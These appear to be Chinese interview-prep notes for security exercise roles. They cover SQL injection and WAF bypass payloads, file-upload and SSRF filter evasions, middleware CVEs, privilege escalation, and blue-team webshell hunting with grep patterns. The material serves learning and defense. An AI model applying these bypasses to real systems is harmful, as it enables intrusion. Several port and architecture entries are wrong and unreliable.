HW面试

蓝队初级面试

TOP10

失效的控制访问 —未授权

加密机制失效 shiro550硬编码

注入

不安全设计—apache弱口令

安全配置错误—php的文件上传

易受攻击和过时的组件—这个就是被公开过严重漏洞的组件

身份识别和身份验证错误—验证码 cookie

软件和数据完整性故障----导致应用程序的运行代码受到篡改,github上之前有个人参加了开源项目在里面添加后门–

安全日志和监控故障—安全日志出现故障,会导致被入侵时难以排查,或者日志文件被删除lsof|grep/var/log/secure可以找到被删除文件

服务器端请求伪造—SSRF

//////////

人工智能方面的SSRF ,AI投毒

01.当你发现这个网站有CDN的时候应该怎么办?

CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。来自百度百科。

1
2
3
4
1>先观察网站是否有邮功能,比如注册的时候需要邮箱验证码,通过邮箱我们可以收集到其网站真实IP。
2>国外访问,很多CDN知识针对国内,在国外并没有部署,即使在国外部署,也不可能部署的那么全,比较容易搞到
3>查询域名解析记录,可能一开始公司做的比较小,没有CDN,后期才有了CDN,最开始的就是它的真实IP。
4>查询分站IP,大多数分站不会做CDN。

02.对哪些语言比较了解?

PHP JS PYTHON ,JAVA之前学过,能看懂大概

03.sql注入需要满足什么条件?

SQL注入原理:

通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法

1
2
3
1>参数用户可控:前端传给后端的参数内容是用户可以控制的.
2>参数带入数据库查询:传入的参数直接拼接到SQL语句,且带入数据库查询.
3>数据库版本5.0以上也算一个吧,满足5.0以上才有information_schema

04.sql注入有哪几函数

种类型?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
首先想到的是最近看到的表情包注入,大概看了一眼应该只是绕过空格来用的
1>union联合注入
2>报错注入
3>堆叠注入
4>宽字节注入
5>XXF
6>Cookie
7>UA
8>万能密码
9>布尔盲注 (异或注入)
10>时间盲注 sleep() benchmark() 笛卡尔积 get_lock()加锁 rlike regexp正则匹配
get_lock():限制条件就是数据库的连接必须是持久连接
11>二次注入
12>文件读写 load_file() into outfile

05.简单讲一下防范SQL注入的方法和原理

1
2
3
1>预编译		(数据库不会将参数内容视为SQL命令执行,而是一个字段的属性值来处理,即提前编译SQL语句,将所有的用户输入都当做『数据』,而非『语法』)
2>PDO预处理 (本地和Mysql服务端使用字符集对输入进行转义)
3>正则表达式过滤(如果用户输入了非法信息则利用正则表达式过滤)

06.你在进行sql注入时,发现有waf,该怎么办?

1
2
3
4
5
6
尝试绕过
1>大小写
2>编码绕过
3>等价函数绕过 sleep==>benchmark()
4>内联注释
5>参数污染

参数污染

https://www.cnblogs.com/Samforrest/p/15867628.html

简介

http参数污染即HPP(HTTP Parameter Pollution),是一种注入型漏洞,攻击者通过 在HTTP请求中插入特定的参数来发起攻击。如果web应用中存在这样的漏洞可以被攻击者利用来进行客户端或服务器端的攻击。

在sql注入的应用则是可以达到绕过sqlwaf的目的。

原理

在跟服务器交互的过程中,http允许get或者post多次传同一个参数,造成覆盖从而绕过waf的效果。也就是http协议允许同样的名称的参数出现多次

但是不同服务器的处理方式会不一样。有的会被覆盖,有的则不会覆盖并且都传入参数

必应:

img

对于同样的参数,必应会处理后一个参数

但是对于谷歌,会两个参数一起处理。

一些常见的web服务器对同样名称的参数出现多次的处理方式:

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(list)
ASP/IIS Request.QueryString(“par”) ALL(comma-delimited string)

应用

waf绕过

如果waf会将union给过滤掉,那么我们可以利用HHP绕过

如上传的参数为在特定情况下为bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3如果服务器端是将获取到的参数组合的话,就可以达到绕过的目的。

组合起来就是union select 1,user(),3

07.SQL注入攻击有哪些危害?

1
2
3
4
5
1>获取数据库数据
2>网页篡改
3>网页挂马
4>更改数据库数据
5>获取服务器权限

08.文件上传有了解吗?

1>原理:()

1
web页面的文件上传功能,没有对文件名后缀进行严格限制,导致攻击者可以上传能被服务器解析并执行的文件,并通过此文件获得执行服务端命令的能力,

2>利用思路:

1
2
3
4
常规类:扫描获取上传,会员中心上传,后台系统上传以及各种途径上传.
CMS类:已知CMS源码(上传.php.mod文件即主题文件.mod).
编译器类:ckeditor、fckeditor、kindeditor、xxxxeditor。
其他类/CVE:代码审计、平台/第三方应用。

3>危害:()

能上传并行,基本上就getshell了,

上传webshell控制服务器远程命令执行,

上传系统病毒,木马文件进行挖矿,僵尸网络

进行提权操作

修改web页面,实现钓鱼,挂马

进行内网渗透

4>绕过:

修改前端js—bp绕过前端验证

修改文件类型参数

修改后缀名

.htaccess–apache解析文件

.user.ini

条件竞争

图片马

GIF89A文件头欺骗

%00,0x00截断

二次渲染绕过

条件竞争绕过(将图片上传上去,才开始进行判断后缀名,二次渲染.)

特殊可解析后缀绕过php1,php2,php3

1
2
3
4
PhP除了可以解析php后缀 还可以解析php1,php2,php3,php4 ,phtml等
Asp可解析 asa,cer,cdx
Aspx可解析 ashx,asmx,ascx
Jsp可解析 jspx、jspf

点+空格+点绕过

某些情况下,源代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过

::$DATA绕过

在php代码中没有对::$DATA进行过滤,在windows中会将文件名::$DATA之后的数据当成文件流处理,保持::$DATA之前的文件名
假设上传的文件为test9.php::$DATA.jpg,如果成功上传到服务器就会去掉::$DATA.jpg变成test9.php进行保存
但是php代码中还通过strrchr函数获取文件后缀.jpg,并以该后缀作为上传之后的文件后缀
所以test9.php::$DATA.jpg上传到服务器后缀仍然是.jpg

5>防范:()

  • 文件上传的目录设置为不可执行

只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

  • 严格判断文件类型

在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

  • 使用随机数修改文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

  • 单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

  • 内容检测

有效防范图片马和文件二次渲染

  • 安全加固中间件

及时更新并加固中间件,可以有效避免因为中间件的漏洞而导致的文件上传漏洞,比如某些中间件以前的版本很多都具有文件解析漏洞

  • 采用WAF等安全防护设备

采用WAF等安全防护设备可以有效的防御常见漏洞

09.XSS攻击有了解吗?

1>有了解,原理:

1
xss攻击就是攻击者在web页面中插入恶意代码,而程序对于用户输入的内容未进行过滤.

2>类型:()

1
2
3
反射型,
存储型,
DOM型(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口。

3>危害:

1
2
3
4
5
6
7
8
9
10
11
12
13
盗取cookie,替换cookie成功以管理员的身份进入后台
利用[浏览器的同源策略](https://www.jianshu.com/p/8aa9474a148c)
同源的定义:如果两个页面的协议,端口和主机都相同,则两个页面具有相同的源。Cookie:只有同源的网页才能共享,但是若两个页面一级域名相同,只是二级域名不同,那么浏览器可以通过设置document.domain来共享Cookie。
进入后台第一件事:找上传点!
看看自己是什么权限
试一下能不能弹shell到msf
看看有没有域环境,尝试横向渗透
屏幕截屏,
键盘记录,
配合其他工具(Metasploit)获取服务器权限,
重定向(植入广告,恶意链接),
网页钓鱼(水坑攻击),
网页挂马(可以控制对方主机)

4>防护:()

1
2
3
特殊字符HTML实体转化,
设置标签属性黑名单,
加入httponly(防止窃取cookie),js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击

10.CSRF(跨站请求伪造)–未授权登录

1>原理:()

利用浏览器对用户的信任进行攻击

web应用程序在用户进行敏感操作时,入修改账户密码,添加账户等没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。

受害者A登录网站,攻击者B构造有效链接诱导受害者A访问,网站在线期间会将该请求当做正常业务执行。(比如修改密码,向某用户转账等业务,当然现在这种简单的EXP基本上见不到,拿靶场验证一下用于理解原理就行了)

2>类型:

  • GET类型
  • POST类型

比如在一个页面中构造好一个表单表单,将这个页面隐藏在一个不可见的iframe窗口中,然后使用JavaScript自动提交这个表单,在整个过程中,对于用户来说是不可见的。当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

3>危害:

  • 盗用其他用户或者管理员的账户
  • 获取个人隐私或者机密资料
  • 联合其他漏洞组合拳

比如说拿到管理员账号之后,我们在某个页面利用XSS漏洞进行网页挂马,普通用户访问后就会下载木马程序,进而联合MSF或者CS等工具getshell。再比如说你把管理员密码还原一下,真正管理员登录的时候也会受到网页挂马的影响,结合工具可以进一步拿下管理员主机权限。

4>防范措施

  • 验证码验证

验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。

CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,对用户执行敏感操作时进行验证,就能够很好地遏制CSRF攻击。

但是验证码并非万能。很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证码。因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。

  • 在请求地址中添加 token 并验证

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。

要抵御 CSRF关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。

可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

  • 验证 HTTP头的Referer 字段

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,头信息里会包含Referer。

比如我在www.google.com 里有一个**www.baidu.com** 链接,那么点击这个链接,它的头信息里就会有:

Referer=http://www.google.com

通过验证Referer,可以判断请求的合法性,如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

  • 在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

缺陷是要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,就意味着可能要重写整个网站,这代价无疑是不能接受的。

11.SSRF有了解吗?

1>原理:()

ssrf是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

2>SSRF利用点()

  1. 分享:通过 url 地址分享网页内容
  2. 转码服务:通过 url 地址把原地址的网页内容调优使其适合收集屏幕浏览
  3. 在线翻译:他弄个 url 地址翻译对应文本的内容,比如百度翻译,有道等
  4. 图片加载与下载:通过指定 url 地址加载或者下载图片
  5. 图片文章的收藏功能:从分享的 url 中读取原文的标题等
  6. 从未公开的 api 实现以及其他调用 url 的功能
  7. ssrf 漏洞验证
  8. ssrf 利用方式
  9. 本地利用
  10. 远程利用
  11. 探测内网
  12. 攻击 Redis 服务
  13. 攻击 Mysql 服务

3>绕过:()

利用@绕过限制白名单域名

利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com

绕过限制白名单内网IP

  • 采用短网址绕过
  • 利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
  • 采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
  • 利用**[::]http://[::]:80/** 会解析为 http://127.0.0.1
  • 添加端口号,http://127.0.0.1:8080
  • 利用句号,如**127。0。0。1** 会解析为 127.0.0.1
  • 采用302跳转
  • 特殊数字字符

4>危害:

  1. 对外网、服务器所在内网、本地进行端口扫描
  2. 向内部任意主机的任意端口发送payload来攻击内网服务
  3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  4. 攻击内网的web应用,如直接SQL注入、XSS攻击等
  5. 利用file、gopher、dict协议读取本地文件、执行命令等
  6. 可以无视网站CDN

5>防范:

  • 禁止跳转
  • 过滤返回的信息

如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  • 统一错误信息

避免用户可以根据错误信息来判断远程服务器的端口状态。

  • 限制请求的端口

比如80,443,8080,8090。

  • 禁止除HTTP和HTTPS外的协议

比如说仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://请求等引起的问题

  • 对请求地址设置白名单或者限制内网IP

12.csrf、ssrf与xss的区别

1
xss是利用用户对网站的信任进行攻击,csrf是利用浏览器对用户的信任进行攻击,这两个的攻击层面都是浏览器,ssrf是服务器对用户提供的可控URL过于信任,攻击层面是服务器

ssrf是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

13.XXE实体攻击有了解吗?

1>原理:()

XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击

2>XXE构建:

直接通过DTD外部实体声明img

通过DTD文档引入外部DTD文档,再引入外部实体声明img

通过DTD外部实体声明引入外部实体声明img

3>危害:

  1. 任意文件读取
  2. 系统命令执行
  3. 执行远程代码
  4. 探测内网端口
  5. 攻击内部网络
  6. DOS拒绝服务攻击
  7. 钓鱼

4>防范:

禁止使用DTD的外部声明;

比如PHP语言中使用libxml_disable_entity_loader(true);等方式。

Python语言中使用

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

**对用户提交过来的XML数据进行过滤。**过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

14.常见的中间件漏洞有哪些?

其实一部分文件上传漏洞都是由于中间件造成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1、IIS 6 解析漏洞 
1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析。
2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析。----.php;.jpg
2、IIS 7 解析漏洞 .jpg/.png/.php
3、PUT任意文件解析漏洞 开启webDAV可写入权限
4、IIS短文件名漏洞 后缀长度

Apache(php中间件)
1、addHandler导致的解析漏洞
2、APache(2.4.0--2.4.29) HTTPD 换行解析漏(CVE-2017-15715)
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
3、未知扩展名解析漏洞 从右往左解析不认识解析下一个
4、目录遍历

Nginx(php中间件)
1、配置文件错误导致的解析漏洞(Nginx和FastCGI处理程序不同)
2、文件名逻辑漏洞(非法字符空格和截止符号导致Nginx状态混乱)
3、目录遍历
4、CRLF注入
5、目录穿越
(1)低版本、II7
上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。
(2)文件名逻辑(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
我们只需要上传一个空格结尾的文件,即可使PHP解析".php "

Tomcat(java中间件)
1、任意文件写入(CVE-2017-12615)
2、远程代码执行(CVE-2019-0232)
3、弱口令+war后门文件部署

WebLogic(java中间件漏洞)
1、弱口令+后台部署war包getshel
2、反序列化远程代码执行漏洞(CVE-2019-2725)
3、反序列化命令执行漏洞(CVE-2019-2725)
4、任意文件上传漏洞(CVE-2019-2725)
5、SSRF漏洞(CVE-2018-2894)

20 ftp21

53 dns

443 https

3389 远程连接

80

445(永恒之蓝)

mysql 3306

sql server 1433

DB2 5000

redis 6379

15.了解过WAF吗?

之前遇到过一个网站你想要用BP抓包的时候会直接锁定你现在的IP,再也不能访问这个页面,后面搜了一下,

多了一个Connection: close头部,删除这个头部burp发包发现能收到返回包。

burpsuite的机制是断点处理数据,这个站他会定时的抽检数据包,然后客户端定时返回,然后如果服务端没有接收到的话,他就认为这个东西丢包了。所以我们看不到回显页面的数据包。

概念:

Web应用防火墙,简称WAF,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种产品,一般部署在Web服务器之前,用来保护web应用.

主要功能:

WAF主要是通过内置的很多安全规则来进行防御.

可防护常见的SQL注入,XSS,网页篡改,中间件漏洞等OWASP TOP10攻击行

具有威胁感知能力,当发现攻击后,可将IP进行锁定,IP锁定之后将无法访问网站业务

也支持防止CC攻击,采用集中度和速率双重检测算法

不具备的功能:

(给你加深一下 影响,防止你想不起来就乱猜)

  • WAF不能过滤其他协议流量,如FTP、PoP3协议
  • WAF不能实现传统防护墙功能,如地址映射
  • WAF不能防止网络层的DDoS攻击
  • WAF不能防病毒

16.绕过WAF的姿势?

  • 通配符?*
  • 大小写变种
  • 内联注释/**/
  • 干扰字符污染法
  • 字符编码法
  • 双写,嵌套,拼凑法
  • 多请求拆分绕过
  • 利用cookie绕过
  • 利用溢量数据绕过WAF
  • 云WAF绕过之寻找网站源ip

17.你在渗透测试中常用的工具?

FOFA

Burp Suite 插件

Xray-高级版

oneforall

灯塔水泽

proxifier

花瓶 C

Amass

Wireshark

dirsearch

AWVS

CS-msf

finall shell

蚁剑

pyinstaller.exe(杀)

whois信息反查

蓝莲花XSS平台

sqlmap

nmap

18.使用过哪些安全设备?

云沙箱

态势感知

火绒 腾讯安全管家 360杀毒 金山毒霸

宝塔

蜜罐

火绒剑

webshell查杀

D盾_Web查杀,百度WEBDIR+(在线),河马(全平台,CloudWalker(牧云)(全平台),Web Shell Detector(在线),Sangfor WebShellKill(深信服),深度学习模型检测PHP Webshell(在线),PHP Malware Finder webshell(全平台),findWebshell,Webshell.pub专注查杀(在线)等

病毒查杀

火绒,腾讯安全管家,360杀毒,Rkhunter,卡巴斯基,金山毒霸,瑞星杀毒软件,大蜘蛛,深信服EDR,Rootkit,NOD32,Clamav,virustotal等

火绒 腾讯安全管家 360杀毒 金山毒霸

安全防护

网站安全狗,创宇盾,云锁,阿里云WAF,HiHTTPS,ModSecurity,Naxsi,OpenWAF,FreeWAF,ESAPI WAF,unixhot,Java WAF,X-WAF,VeryNginx,COMODO Firewall等

宝塔

应急响应

火绒剑,微步云沙箱,Goby,PowerTool,Tcpview,PCHunter,ProcessHacker,Everything,ProcessExplorer,ProcessMonitor,XueTr,PCHunter,ProcessDump,AutoRuns,ntfsdir,FastIR,BrowsingHistoryView,sysinspector,sysinternals Suite,Index.dat Analyzer,winhex,RegistryWorkshop,DiskGenius,passrecenc,Fulleventlogview,Wsyscheck,IPOP4.1,Process monitor,Netcat,Malware Defender,MyMonitor,DllInjector,RegShot,gscan,Fodler Monitor,ResHacker,Kaspersky Virus Removal Tool ,DWirelessNetWatcher,ipradar,Fidder,ApateDNS,MiniSniffer,SysTracer等

火绒剑

19.常见的端口和相关的服务?

个人感觉比较重要的

服务 端口号 说明
FTP 20 FTP服务器真正传输所用的端口,用于上传、下载
FTP 21 用于FTP的登陆认证
SSH、SFTP 、 22 加密的远程登录,文件传输
Telnet 23 远程登录(在本地主机上使用此端口与远程服务器的22/3389端口连接)
SMTP 25 用于发送邮件
DNS 53 域名解析
HTTP 80 用于网页浏览
POP3 110 SUN公司的RPC服务所有端口
HTTPS 443 加密的网页浏览端口
sql server 1433 Microsoft的SQL服务开放的端口 数据库
Oracle 1521 数据库
MySQL 3306 数据库
WIN2003远程登录 3389 Windows 2000(2003) Server远程桌面的服务端口,本地服务器开放此端口,去连接到远程的服务器
QQ· 4000 腾讯QQ客户端开放此端口
redis· 6379 数据库

文章中列出来

服务 端口号 说明
WebLogic* 7001 一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
Wingate 8010 Wingate代理开放此端口
TOMCAT 8080 WWW代理开放此端口
Network News Transfer Protocol 119 NEWS新闻组传输协议,承载USENET通信
SMTP 161 Simple Network Management Protocol,简单网络管理协议
SNMP Trap 160、162 SNMP陷阱
HTTPS 443 加密的网页浏览端口
CIFS 445 公共Internet文件系统
NFS 2049 通过网络,让不同的机器、不同的操作系统实现文件共享

21.为何一个mysql数据库的站,只有一个80端口开放?

  • Mysql默认端口被修改
  • 站库分离
  • 3306端口不对外开放

22.3389(远程连接)无法连接的几种情况?

  • 端口被修改
  • 没开放3389端口
  • 防护拦截

1.做了tcp/ip筛选 2.终端登陆权限指定用户 3.防火墙

  • 处于内网(需进行端口转发)
  • 超过了服务器最大连接数

23.判断出网站的CMS对渗透有什么意义?

  • 查找已曝光的漏洞。
  • 如果开源,还能下载相应的源码进行代码审计
  • 根据CMS特征关联同CMS框架站点,进行敏感备份文件扫描,有肯获得站点备份文件

24.如何判断目标操作系统?

25.常见代码执行、文件读取、命令执行的函数有哪些?

代码执行

1
2
3
4
5
call_user_func()
call_user_array()
create_function()
array_map()
call_user_func()

文件读取

1
2
3
4
fopen()
readfile()
file()
fread()

命令执行

1
2
3
4
5
6
7
system()
exec()
shell_exec()
passthru()
popen()
proc_open()
pcntl_exec()

26.木马驻留系统的方式有哪些?留后门

关联文件类型

计划任务

启动目录

注册表

服务

27.蚁剑/菜刀/C刀/冰蝎的相同与不相同之处?

冰蝎强特征:content-type为application/octet-stream

27.内网渗透思路?

  1. 代理穿透
  2. 权限维持
  3. 内网信息收集
  4. 口令爆破
  5. 凭据窃取
  6. 社工
  7. 横向和纵向渗透
  8. 最终目标拿下域控

28.Windows常用的提权方法?

  • 系统内核溢出漏洞提权—脏牛
  • 数据库提权
  • 错误的系统配置提权CVE-2019-1405
  • 组策略首选项提权
  • WEB中间件漏洞提权
  • DLL劫持提权
  • 滥用高危权限令牌提权
  • 第三方软件/服务提权等

29.Linux常用的提权方法?

答:

  • Linux内核漏洞提权
  • SUID提权 (低权限用户目录下可被Root权限用户调用的脚本提权)
  • 环境变了劫持高权限程序提权
  • sudoer配置文件错误提权

30.正向代理和反向代理的区别?

1
2
3
正向代理即是客户端代理,代理客户端,服务端不知大实际发起请求的客户端

反向代理即是服务端代理,代理服务端,客户端不知道实际提供服务的服务端

31.正向shell和反向shell的区别?

1
2
3
正向shell: 攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况.

反向shell: 被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况.

32.序列化与反序列化的区别?

  • 序列化: 把对象转化为可传输的字节序列的过程
  • 反序列化: 把字节序列转化为对象的过程

33.如何通过流量来分析安全事件?

**收集流量数据:**通过捕获流量来从网络中收集数据包.

**过滤流量:**根据事件类型和数据包的内容,需要过滤源和目标IP地址,端口,协议和时间戳等。

**分析流量:**收集了有关安全事件的流量数据,需要对其进行分析。这可以通过使用网络流量分析工具来完成,例如Bro/Zeek和Suricata。这些工具可以识别潜在的安全威胁并生成有关威胁的报告。

确认威胁:分析流量后,您需要确认是否存在安全威胁。如果判断不了或者判断是真正的攻击行为立即上报

响应和修复:排查服务日志情况,查看通过什么方式修补漏洞

34.应急响应基本思路流程

1
2
3
4
5
6
1. 收集信息:收集客户信息和中毒主机信息,包括样本 
2. 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断⽹、DoS 等等
3. 抑制范围:隔离使受害⾯不继续扩⼤
4. 深⼊分析:⽇志分析、进程分析、启动项分析、样本分析⽅便后期溯源
5. 清理处置:杀掉进程,删除⽂件,打补丁,删除异常系统服务,清除后⻔账号防⽌事件扩 ⼤,处理完毕后恢复⽣产
6. 产出报告:整理并输出完整的安全事件报告

展开来说的话

Webshell应急响应流程

判断是否被植入webshell

系统被植入Webshell,可能出现一下几个异常:

网页被篡改,或在网站中发现非管理员设置的内容;

出现攻击者恶意篡改网页或者网页被植入暗链的现象

安全设备报警

临时处理

删除检测到的Webshell文件,对文件进行备份,方便后续取证溯源

对系统进行隔离,防止影响其他系统

扫描工具:

  • D盾

Webshell 可疑文件隔离 端口进程查看 base64解码 以及克隆用户检测等 文件监控

  • 河马Webshell查杀

河马Webshell拥有海量的Webshell样本和自主查杀技术,采用传统特征+云端大数据双引擎的查杀技术

webshell查杀

Windows系统排查

利用Webshell扫描工具(如D盾)对应用部署目录进行扫描,如网站D: \WWW\目录,或者将当前网站目录文件与此前备份文件进行比对,查看是否存在新增的不一致内容,确定是否包含Webshell相关信息, 并确定Webshel位置及创建时间。然后利用文本文件打开,进一步分析发现可疑内容。

Linux系统排查

在Windows系统中使用的Webshell检测方法在Linux系统中同样适用。在Linux系统中,可用河马Webshell查杀工具扫描,也可手工搜索可能包含Webshell特征的文件。

1
2
3
4
5
6
7
8
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

判断Webshell事件发生时间:根据异常现象发生时间,结合网站目录中Webshell文件的创建时间,可大致定位事件发生的时间段。以便后续依据此时间进行溯源分析、追踪攻击者的活动路径。

对攻击路径进行溯源分析:如果网站被植入暗链或出现单击链接跳转到其他网站(如博彩网站、色情网站等)的情况,应首先排查网站首页相关js,查看是否被植入了恶意跳转的js。
若网站首页被篡改或有其他被攻击的现象,可以根据网站程序信息,如程序目录、文件上传目录、war包部署目录,使用工具(如D盾)和搜索关键词(如eval、 base64_ decode、assert)方式,定位到Webshell文件并清除。然后根据日志进行溯源分析,同时除了进行Web应用层排查,还应对系统层进行全面排查,防止攻击者在获取Webshel后执行了其他的权限维持操作。

判断系统架构:收集系统信息,为快速溯源分析提供前期准备工作

项目 内容
服务器 Windows、Linux等
内容管理系统(CMS) Jeecms、Wordpress、 Drupal、 TRS WCM、Phpcms、 Dedecms 等
中间件 Tomcat、IIS、 Apache、 WebLogic、 JBoss、 Websphere、 Jetty 等
框架 Struts2、Thinkphp、 Spring、 Shiro、 Fastjson 等
数据库 Tomcat、IIS、 Apache、 WebLogic、 Struts、 MySQL等
脚本语言 ASP、PHP、JSP 等
业务架构 如前端网页内容是否是后端通过FTP上传的(新闻网偏多)等

系统排查

攻击者上传Webshell后,往往还会执行进一步的操作,如提权,添加用户,写入系统后门,实现持久化驻留.因此,还需要对系统进行排查,主要排查内容如下

Windows系统排查

用户信息排查

用户排查:

使用net user命令,可直接查看用户信息(此方法看不到隐藏用户),若发现存在非管理员使用账户,则可能为异常账户

如果需查看某个账户的详细信息,可以使用net user username命令

隐藏用户排查

打开计算机管理–>本地用户和组.可查询隐藏用户.用户名称以$结尾的为隐藏用户,当然还有一种方法在github是有自动检测的工具

克隆用户排查

可使用注册表,利用F值进行对比,以排查克隆用户.也可以直接使LP_Check工具排查克隆用户

进程、服务、驱动、启动项排查

进程排查:

在排查可疑进程时,可以关注进程名称,对于异常的、不常见的名称要格外注意,另外可以重点观察进程的路径、CPU占用信息等。打开系统信息任务管理器窗口,均可查看进程名称及其对应的执行文件。

进程信息还可以使用PCHunter工具查看,

黑色条目代表微软进程

蓝色条目代表非微软进程,可能是第三方应用程序进程,蓝色缺失文件厂商信息的几次呢需多加关注

红色条目代表可疑进程,隐藏服务,被挂钩函数

服务排查:

系统信息窗口-->软件环境-->服务,可查看服务的启动情况及其对应的启动文件

或使用services.msc命令,也可直接查看服务,查找异常服务.

驱动,启动项排查:

命令行msconfig打开启动项;

网络连接排查

netstat -ano 查看是否有可疑连接

根据netstat -ano 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”

任务计划排查

攻击者在攻击成功后,添加任务计划往往是为了持久化控制.任务计划日志通常存放在C:\Windows\System32\Tasks目录下,可以直接打开系统自带的任务计划程序窗口进行查看

自定义的任务计划,则较为可疑,需进行排查。

文件排查

攻击者在攻击成功后可能会在本地留下过程文件,这时需要排查各个盘符下的相关敏感目录,以便确定是否存在异常文件。

temp相关目录:
temp指系统临时文件夹,用于存储系统临时文件。在Windows系统中,常见temp目录主要分
布在如下位置:

1
2
C:\Windows\temp
C:\Users\Administrator\AppData\Local\temp

在寻找可疑文件时,先重点查看攻击时间范围内的文件,然后通过文件命令来判断。一般凡是在非系统System32或Syswow64目录下的svchost.exe文件基本为恶意文件;另外,命名特殊的文件也要重点排查。发现可疑文件后,可以提取样本做进一步的鉴定。

linux系统排查

账户排查

用户信息文件

1
2
3
4
/etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录

影子文件

1
2
3
4
5
/etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV
9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之
